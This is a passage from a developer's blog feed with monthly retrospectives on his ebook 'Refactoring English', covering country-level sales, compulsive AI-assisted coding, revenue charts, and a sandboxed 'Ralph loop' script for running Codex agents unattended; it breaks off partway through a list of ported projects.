&lt;p>Wow! One out of every six readers in Kazakhstan purchases the book! I need to start advertising in Kazakhstan.&lt;/p>
&lt;p>Okay, the extreme Kazakhstan result is based on a single customer, so that&amp;rsquo;s probably an outlier. And I bet my website analytics undercount visitors from Kazakhstan.&lt;/p>
&lt;p>What if I focus on the top countries based on website visitors?&lt;/p>
&lt;div class="sales-chart-group">
 &lt;div class="sales-chart" data-view="orders">
 &lt;canvas id="orders-vs-visitor-share">&lt;/canvas>
 &lt;/div>
 &lt;div class="sales-chart" data-view="revenue" hidden>
 &lt;canvas id="revenue-vs-visitor-share">&lt;/canvas>
 &lt;/div>
 &lt;div class="sales-chart-toggle">
 &lt;button class="active" data-view="orders">By order count&lt;/button>
 &lt;button data-view="revenue">By revenue&lt;/button>
 &lt;/div>
&lt;/div>
&lt;p>The US is my top country for website visitors, but a relatively low share (0.5%) purchase the book.&lt;/p>
&lt;p>Indian readers purchase at the highest rate, with 2.5% of website visitors purchasing the book. Canadian readers purchase the most by revenue, with every Canadian reader giving me about $0.47 in additional book sales.&lt;/p>
&lt;p>Clearly, I need to start pandering more to India and Canada in the book. I could change all the Docker examples to cricket examples and look for more opportunities to praise Shopify.&lt;/p>
&lt;h3 id="fixing-my-regional-discounts">Fixing my regional discounts&lt;/h3>
&lt;p>After the US, most website visitors come from China (5.9% of total), but I&amp;rsquo;ve had zero sales in China. At first, I thought buying ebooks was not so popular in China, but I just checked what regional discount I was offering in China and was surprised to find it was zero. I wasn&amp;rsquo;t offering a regional discount in China at all.&lt;/p>
&lt;p>I made two mistakes in my price generation scripts that excluded a huge number of countries:&lt;/p>
&lt;ul>
&lt;li>I only included countries where Stripe supports the local currency.&lt;/li>
&lt;li>Even with this filter, I accidentally omitted a lot of countries where Stripe supports the local currency.&lt;/li>
&lt;/ul>
&lt;p>The local currency thing is silly in retrospect because I can still offer a discount and just accept payment in USD. And I&amp;rsquo;m not sure how I ended up missing so many Stripe-supported countries. I even missed Kazakhstan, my new favorite country!&lt;/p>
&lt;p>I was only offering regional discounts in about 39 countries. After my fixes, the list grew to 156. And within 12 hours, I got a new order from Kazakhstan.&lt;/p>
&lt;h2 id="should-i-focus-on-non-native-speakers">Should I focus on non-native speakers?&lt;/h2>
&lt;p>With the majority of &lt;em>Refactoring English&lt;/em> readers coming from countries where English is a second language, should I adjust the book to better serve non-native speakers?&lt;/p>
&lt;p>A few readers have asked about English tips for non-native speakers. I&amp;rsquo;d like to tackle the subject, but I have no experience writing as a non-native speaker. I want everything in the book to be techniques I personally use rather than &lt;a href="https://mtlynch.io/book-reports/traction/">things I&amp;rsquo;ve heard secondhand&lt;/a>.&lt;/p>
&lt;p>My best idea is to find editing clients who are non-native speakers and look for patterns in their writing to include in the book. But right now, I&amp;rsquo;d like to get the v1 finished. The beauty of an ebook is that you can keep iterating on it and find ways to improve it even after official release.&lt;/p>
&lt;h2 id="ai-assisted-coding-is-becoming-a-problem-for-me">AI-assisted coding is becoming a problem for me&lt;/h2>
&lt;p>I&amp;rsquo;ve been using AI for software development for about a year and a half, but there have been two major inflection points:&lt;/p>
&lt;ul>
&lt;li>In February 2025, I &lt;a href="https://mtlynch.io/notes/cline-is-mesmerizing/">started using an integrated AI agent in my code editor&lt;/a>&lt;/li>
&lt;li>In December 2025, I started &lt;a href="https://mtlynch.io/retrospectives/2026/02/#discovering-the-power-of-ai-sandboxes">running AI agents with full permissions (within isolated environments)&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Since December, I&amp;rsquo;ve been spending more and more time doing AI-assisted coding. It&amp;rsquo;s become an ever-increasing part of my workday and non-work time.&lt;/p>
&lt;p>I used to have a bad habit of checking email and social media excessively. During the past month, I&amp;rsquo;ve repeatedly had the experience of noticing that it&amp;rsquo;s 4pm, but I haven&amp;rsquo;t checked email or social media. Except it&amp;rsquo;s because I&amp;rsquo;ve fallen into an AI vortex and forgot everything else.&lt;/p>
&lt;p>Every month, I think, &amp;ldquo;Is this a problem?&amp;rdquo; And in the past few weeks, I&amp;rsquo;ve had to face the fact that, yes, it&amp;rsquo;s a problem.&lt;/p>
&lt;p>I generally start each workday by writing a schedule on a little notepad on my desk. I break the day into 30-minute blocks and write down how I&amp;rsquo;ll spend that block. Historically, I stick to the schedule when I&amp;rsquo;m disciplined. When I have less will power, I let fun tasks exceed their budgets by a block or two. With AI-assisted coding, I was getting to the point where I&amp;rsquo;d make a schedule and then completely ignore it and play with AI all day.&lt;/p>
&lt;p>I wouldn&amp;rsquo;t say that I have an &amp;ldquo;addiction&amp;rdquo; to AI in the way people develop addictions to drugs or alcohol, but I am letting AI-assisted coding distract me from work that I recognize is more important, like finishing my book.&lt;/p>
&lt;p>There are a few factors that make AI especially compelling and easy for me to get sucked into:&lt;/p>
&lt;h3 id="ai-coding-is-exciting">AI coding is exciting&lt;/h3>
&lt;p>I feel like I can integrate any technology, write in any programming language, install any tool. There used to be an annoying level of friction in using any new software, but now I can mostly just hand it to AI and ask it to figure out how to install it or debug it, and it just works.&lt;/p>
&lt;p>In the 90s, Bill Gates published a book called &lt;a href="https://en.wikipedia.org/wiki/Business_@_the_Speed_of_Thought">&lt;em>Business @ the Speed of Thought&lt;/em>&lt;/a>. I&amp;rsquo;ve never read it, but I keep thinking back to that book title as I use AI. It&amp;rsquo;s not literally at the speed of thought, but it&amp;rsquo;s closer than anything I ever imagined. I can have an idea for a feature, give a brief explanation to an AI agent, and see the feature materialize in minutes.&lt;/p>
&lt;h3 id="ai-coding-has-no-natural-limits">AI coding has no natural limits&lt;/h3>
&lt;p>Even before AI, I&amp;rsquo;d often intend to spend an hour coding and instead spent three. But there were natural limits to how long I could code. A few hours of intense dev work fries my brain, and work becomes unpleasant, unproductive, or both.&lt;/p>
&lt;p>With AI, you can build for hours without doing any deep thought. And even when something does require thought, AI makes it easier than ever to take on tech debt. When I&amp;rsquo;m coding myself, I don&amp;rsquo;t want to do something the ugly way because then I&amp;rsquo;m the one who has to maintain that hack. But if I&amp;rsquo;m making AI do everything, I don&amp;rsquo;t feel the pain of hacky, ugly code.&lt;/p>
&lt;h3 id="ai-coding-offers-variable-rewards">AI coding offers variable rewards&lt;/h3>
&lt;p>One of the things that makes gambling addictive is &lt;a href="https://www.nirandfar.com/want-to-hook-your-users-drive-them-crazy/">variable rewards&lt;/a>. Our brains are more captivated by a system that gives you $10 at random intervals than one that delivers you money on a fixed, predictable schedule.&lt;/p>
&lt;p>Whether intentional or not, my experience with AI agents varies wildly. Sometimes, I point it at a 2,000 line log file and it diagnoses the issue before I&amp;rsquo;ve even asked a question. Other times, I give it a simple task, and it spends the next 20 minutes aimlessly roaming my codebase.&lt;/p>
&lt;p>Because I don&amp;rsquo;t know if the wait will be 5 seconds or 20 minutes, I sit there staring at the agent for a minute, then compulsively check it every few minutes, then start some other AI task while I&amp;rsquo;m waiting. And then I&amp;rsquo;m cycling between multiple agents and don&amp;rsquo;t even remember what they&amp;rsquo;re all doing.&lt;/p>
&lt;p>One of the most maddening experiences I have with AI is when I&amp;rsquo;ve set up the AI agent to complete a long task, and I come back hours later to find the AI paused its work a few minutes after I left and asked, &amp;ldquo;Okay, the next step is to try a full build, but that will take 30-60 minutes. Would you like me to continue?&amp;rdquo; Yes! That&amp;rsquo;s why I left the task to you!&lt;/p>
&lt;h3 id="get-while-the-gettins-good">Get while the gettin&amp;rsquo;s good&lt;/h3>
&lt;p>It&amp;rsquo;s hard to predict exactly what effect AI will have on the software industry, but I feel confident that it will completely upend the ecosystem. We&amp;rsquo;re in the early stages of a massive shake-up.&lt;/p>
&lt;p>Depending on how things turn out, there are paths forward for me as a software developer, but I also think there&amp;rsquo;s at least a 20% chance that we&amp;rsquo;re in the last year or two of &amp;ldquo;software developer&amp;rdquo; being a job that requires any special knowledge or skill. It could be like what happened to &lt;a href="https://en.wikipedia.org/wiki/Elevator_operator">elevator operators&lt;/a>.&lt;/p>
&lt;p>Right now, there are a few factors that make AI-assisted development especially attractive for developers in my position:&lt;/p>
&lt;ul>
&lt;li>AI is helpful for junior engineers, but senior engineers are the ones who can use it best&lt;/li>
&lt;li>There are multiple AI companies competing heavily on price and using VC money to subsidize costs.
&lt;ul>
&lt;li>I use flat-rate plans, but I consume the equivalent of about $4k/month in API costs, and even those rates are probably VC-subsidized.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>The current situation with AI can&amp;rsquo;t last. The AI bubble could burst, and I&amp;rsquo;ll have to start paying the non-subsidized, metered rate. Or AI will continue to improve to the point where I have no advantage over junior engineers or even people with no software experience.&lt;/p>
&lt;h2 id="how-to-get-my-ai-usage-back-under-control">How to get my AI usage back under control&lt;/h2>
&lt;p>I&amp;rsquo;ve found a few techniques for getting my AI usage back to a manageable place:&lt;/p>
&lt;ul>
&lt;li>Don&amp;rsquo;t start the day with an AI project
&lt;ul>
&lt;li>If I start with AI and then work on my book, then I&amp;rsquo;m switching from an exciting, easy task to a hard, unsexy task.&lt;/li>
&lt;li>If I instead start the day with &lt;a href="https://mtlynch.io/retrospectives/2025/06/#one-hour-of-good-writing-per-day-works">an hour of writing&lt;/a>, I&amp;rsquo;ve done my hard task for the day and don&amp;rsquo;t have to move uphill.&lt;/li>
&lt;li>This is challenging because I often set up long AI tasks overnight, and I&amp;rsquo;m always curious in the morning to see how they turned out.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Reduce parallel AI-driven projects.
&lt;ul>
&lt;li>Parallel work &lt;em>feels&lt;/em> appealing because I can cycle between agents.&lt;/li>
&lt;li>In practice, I find it sucks me in too much because there&amp;rsquo;s a &lt;a href="https://en.wikipedia.org/wiki/Plate_spinning">spinning plates&lt;/a> mentality of some agent always needing attention.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published two new book chapters&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/eversource-resource-innovations-exposure/">&amp;ldquo;Eversource EV Rebate Program Exposed Massachusetts Customer Data&amp;rdquo;&lt;/a> and &lt;a href="https://eeaonline.eea.state.ma.us/dpu/fileroom/#/dockets/docket/12810">complained to the MA Department of Public Utilities&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Don&amp;rsquo;t start the day with an AI coding project.
&lt;ul>
&lt;li>It&amp;rsquo;s too distracting and too hard to switch to something harder but more important.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Finish &lt;em>Refactoring English&lt;/em>
&lt;ul>
&lt;li>It won&amp;rsquo;t be fully polished and edited, but I want to complete all the chapters.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;script src="script.js">&lt;/script></content:encoded></item><item><title>Refactoring English: Month 14</title><link>https://mtlynch.io/retrospectives/2026/02/</link><pubDate>Thu, 12 Feb 2026 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2026/02/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>A new strategy for finding book readers is having positive results.&lt;/li>
&lt;li>I had a breakthrough experience by letting an AI agent run in unrestricted mode.&lt;/li>
&lt;li>I&amp;rsquo;ve been using AI to correct decisions I regret about my tech stack.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>A new strategy for finding book readers is having positive results.&lt;/li>
&lt;li>I had a breakthrough experience by letting an AI agent run in unrestricted mode.&lt;/li>
&lt;li>I&amp;rsquo;ve been using AI to correct decisions I regret about my tech stack.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-three-chapters-of-refactoring-english">Publish three chapters of &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published two new chapters&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m still having the same problem as last month where I&amp;rsquo;m getting too excited about AI experiments and letting it eat into my writing time.&lt;/p>
&lt;h3 id="publish-my-2025-annual-review-year-8">Publish my 2025 &lt;a href="https://mtlynch.io/tags/annual-review">annual review&lt;/a> (year 8)&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: &lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/">Published it&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s done! I&amp;rsquo;m happy with how it turned out. I&amp;rsquo;m now finished with a string of posts that I felt pressure to publish by a certain date, either because of tradition or time-sensitive subjects.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;,&amp;#34;Aug 2025&amp;#34;,&amp;#34;Sep 2025&amp;#34;,&amp;#34;Oct 2025&amp;#34;,&amp;#34;Nov 2025&amp;#34;,&amp;#34;Dec 2025&amp;#34;,&amp;#34;Jan 2026&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061,2863,7283,22398,7608,2266,38511]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29,360.88,962.56,619,1066.73,540.8,1132.75]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2025&lt;/th>
 &lt;th>January 2026&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>2,266&lt;/td>
 &lt;td>38,511&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;36,245 (&amp;#43;1600%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$492.55&lt;/td>
 &lt;td>$1,132.75&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$640.20 (&amp;#43;130%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from sponsors&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$48.25 (-100%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$540.80&lt;/td>
 &lt;td>$1,132.75&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$591.95 (&amp;#43;109%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>I published &lt;a href="https://refactoringenglish.com/blog/2025-hn-top-5/">&amp;ldquo;The Most Popular Blogs of Hacker News in 2025&amp;rdquo;&lt;/a> at the beginning of January, and it did far better than I expected. It gave January the book&amp;rsquo;s highest visitors and revenue since the Kickstarter last year.&lt;/p>
&lt;p>Other revenue is down, as I haven&amp;rsquo;t had any editing clients, and the current owner of TinyPilot wrapped up their sponsorship of the book in 2025. I&amp;rsquo;m not planning to pursue any more professional sponsors because companies don&amp;rsquo;t seem that interested, and it&amp;rsquo;s easier to focus on readers.&lt;/p>
&lt;h2 id="success-by-writing-about-other-writers">Success by writing about other writers&lt;/h2>
&lt;p>&lt;a href="https://refactoringenglish.com/blog/2025-hn-top-5/">&amp;ldquo;The Most Popular Blogs of Hacker News in 2025&amp;rdquo;&lt;/a> is a continuation of a strategy I&amp;rsquo;ve been exploring for about six months. It boils down to: celebrate other software writers.&lt;/p>
&lt;p>At a party last summer, I met a romance novelist who self-published. It was interesting hearing about her work because we had similar problems despite writing about drastically different topics.&lt;/p>
&lt;p>I asked her how she found readers, and she said, &amp;ldquo;That&amp;rsquo;s the question!&amp;rdquo;&lt;/p>
&lt;p>She told me that she had great results by starting a newsletter to review other romance novels, primarily by indie authors. It created a virtuous cycle where:&lt;/p>
&lt;ol>
&lt;li>Readers discover and buy her book after reading her newsletter.&lt;/li>
&lt;li>Other indie authors enjoy seeing reviews of their work, so they direct their own readers to her newsletter, which increases (1).&lt;/li>
&lt;li>Her subscribers discover other interesting novels through her newsletter.&lt;/li>
&lt;/ol>
&lt;p>I love strategies where incentives align for everyone, so I started looking for ways to apply that to my book. I started writing about other bloggers and book authors that I enjoy and publishing those on my blog, and that&amp;rsquo;s worked well:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Post&lt;/th>
 &lt;th>Unique Readers&lt;/th>
 &lt;th>Hacker News score&lt;/th>
 &lt;th>Lobsters score&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/blog/2025-hn-top-5/">The Most Popular Blogs of Hacker News in 2025&lt;/a>&lt;/td>
 &lt;td>33.8k&lt;/td>
 &lt;td>692&lt;/td>
 &lt;td>-&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/blog/software-essays-that-shaped-me/">The Software Essays that Shaped Me&lt;/a>&lt;/td>
 &lt;td>25.6k&lt;/td>
 &lt;td>308&lt;/td>
 &lt;td>85&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/blog/crafting-interpreters-intro/">What Makes the Intro to Crafting Interpreters so Good?&lt;/a>&lt;/td>
 &lt;td>3.5k&lt;/td>
 &lt;td>-&lt;/td>
 &lt;td>137&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="discovering-the-power-of-ai-sandboxes">Discovering the power of AI sandboxes&lt;/h2>
&lt;p>I had a revelatory experience a year ago when &lt;a href="https://mtlynch.io/notes/cline-is-mesmerizing/">I first started using an AI agent&lt;/a>. At that point, I just let it edit files while I watched, and I thought that was a scary amount of control to give an LLM.&lt;/p>
&lt;p>For the past year, I&amp;rsquo;ve mostly been coding with Cline, an AI agent extension in VS Code. It sped up a lot of my workflows, but I also micromanaged it aggressively because I didn&amp;rsquo;t trust it to perform arbitrary actions on my dev machine.&lt;/p>
&lt;p>A few weeks ago, &lt;a href="https://oky.moe">my friend okay&lt;/a> showed me his AI workflow with Codex, OpenAI&amp;rsquo;s terminal-based AI agent. okay lets Codex edit files and run commands without direct supervision. It made me realize how much time I&amp;rsquo;ve been wasting babysitting my AI agents and dealing with hangs in Cline.&lt;/p>
&lt;p>okay said that he sometimes lets Codex work unsupervised for an hour or more, and I couldn&amp;rsquo;t believe it. If I gave Cline a task that would take more than 10 minutes, it would either hang the UI, go down the wrong path, or explode my costs. But Codex is flat-fee rather than pay-per-token, which means you stop thinking about costs.&lt;/p>
&lt;p>I still don&amp;rsquo;t trust any AI agent to run amok on my real computer, so I set up a custom sandbox for running AI agents on my machine. I go to the directory for one of my projects and run my custom command: &lt;code>sb&lt;/code>. It spins up a &lt;a href="https://github.com/containers/podman/blob/main/docs/tutorials/rootless_tutorial.md">rootless Podman container&lt;/a> that has no access to my local network and can only see the current working directory. It has Codex and Claude Code pre-installed and authenticated with my accounts.&lt;/p>
&lt;p>With AI in a sandbox, I was fine giving it full permissions to edit files, install applications, etc.&lt;/p>
&lt;p>And wow, what a difference!&lt;/p>
&lt;p>Seeing an AI agent run with full permissions was another breakthrough moment for me. Previously, if I said, &amp;ldquo;Make a bar chart of my income from the last 8 years,&amp;rdquo; about 30% of the time, the AI agent would implement something partially wrong. I&amp;rsquo;d have to check the result myself and say, &amp;ldquo;No, the bars are misaligned. Fix it.&amp;rdquo; But when the AI agent has root access in its own sandbox, it can spin up a test server, view the page in a browser, and iterate independently until it completes its task.&lt;/p>
&lt;p>And then I heard about &lt;a href="https://ghuntley.com/loop/">Ralph Loops&lt;/a>. I still haven&amp;rsquo;t found a good explanation, so I&amp;rsquo;m not sure if I&amp;rsquo;m doing &amp;ldquo;official&amp;rdquo; Ralph loops, but here&amp;rsquo;s what mine looks like. I run a bash script called &lt;code>ralph-loop&lt;/code> that contains this simple code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/usr/bin/env bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm ALL-DONE.txt || &lt;span style="color:#24909d">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">while&lt;/span> true; &lt;span style="color:#6ab825;font-weight:bold">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cat AGENT-WORKFLOW.md | codex &lt;span style="color:#24909d">exec&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> [[ -f &lt;span style="color:#ed9d13">&amp;#34;ALL-DONE.txt&amp;#34;&lt;/span> ]]; &lt;span style="color:#6ab825;font-weight:bold">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;ALL-DONE.txt detected. Exiting.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">exit&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And &lt;code>AGENT-WORKFLOW.md&lt;/code> looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-markdown" data-lang="markdown">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">1.&lt;/span> Pick the top task in TODO.md and begin work on it
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">-&lt;/span> If no actions remain, write a file called ALL-DONE.txt to the current
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> directory, and exit.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">1.&lt;/span> Complete the task and delete the entry from TODO.md.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">-&lt;/span> If the task is unachievable, explain why in the commit message.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">1.&lt;/span> Commit the changes with a detailed commit message explaining what you
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> changed, why you changed it, and what impact it had.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then I just create a &lt;code>TODO.md&lt;/code> file with a list of tasks. Some of the tasks involve creating follow up tasks, so the list grows and shrinks with the agent&amp;rsquo;s progress.&lt;/p>
&lt;p>The Ralph Loop has allowed me to run AI agents autonomously for 10+ hours unsupervised. It&amp;rsquo;s surreal to come back to my computer in the morning and see that the AI agent completed all the work I assigned it while I was sleeping.&lt;/p>
&lt;h2 id="ai-is-great-at-porting-code">AI is great at porting code&lt;/h2>
&lt;p>From experimenting with AI over the past few months, I&amp;rsquo;ve noticed it has the most impact when:&lt;/p>
&lt;ol>
&lt;li>You can objectively define the success criteria.
&lt;ul>
&lt;li>e.g. &amp;ldquo;Find the cause of this crash&amp;rdquo; is objective and definable whereas &amp;ldquo;make this landing page better&amp;rdquo; is not.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The AI agent can verify success independently.
&lt;ul>
&lt;li>e.g., &amp;ldquo;Visit the page in a browser and verify the background turns blue when you push the button.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The problem is such that a human with junior-level software knowledge could solve it with a search engine, experimentation, and patience.&lt;/li>
&lt;/ol>
&lt;p>Here are some classes of software tasks that meet these criteria:&lt;/p>
&lt;ul>
&lt;li>Refactoring code that has automated tests&lt;/li>
&lt;li>Porting code from one language/technology to another while preserving behavior&lt;/li>
&lt;li>Compiling a project from source, installing any necessary dependencies&lt;/li>
&lt;li>Fixing code to make a test pass&lt;/li>
&lt;/ul>
&lt;p>Recently, I&amp;rsquo;ve been using AI to port code. I have some codebases where I wish I&amp;rsquo;d made different choices about my tech stack, but it was always too time-consuming to rewrite everything. But with AI, swapping out pieces of my stack is inexpensive and fast.&lt;/p>
&lt;p>I&amp;rsquo;ve successfully ported code in several of my projects:&lt;/p>
&lt;ul>
&lt;li>Converted the Zestful website &lt;a href="https://github.com/mtlynch/zestful-frontend2/pull/152">from Vue/Nuxt2 to vanilla HTML with Hugo&lt;/a>
&lt;ul>
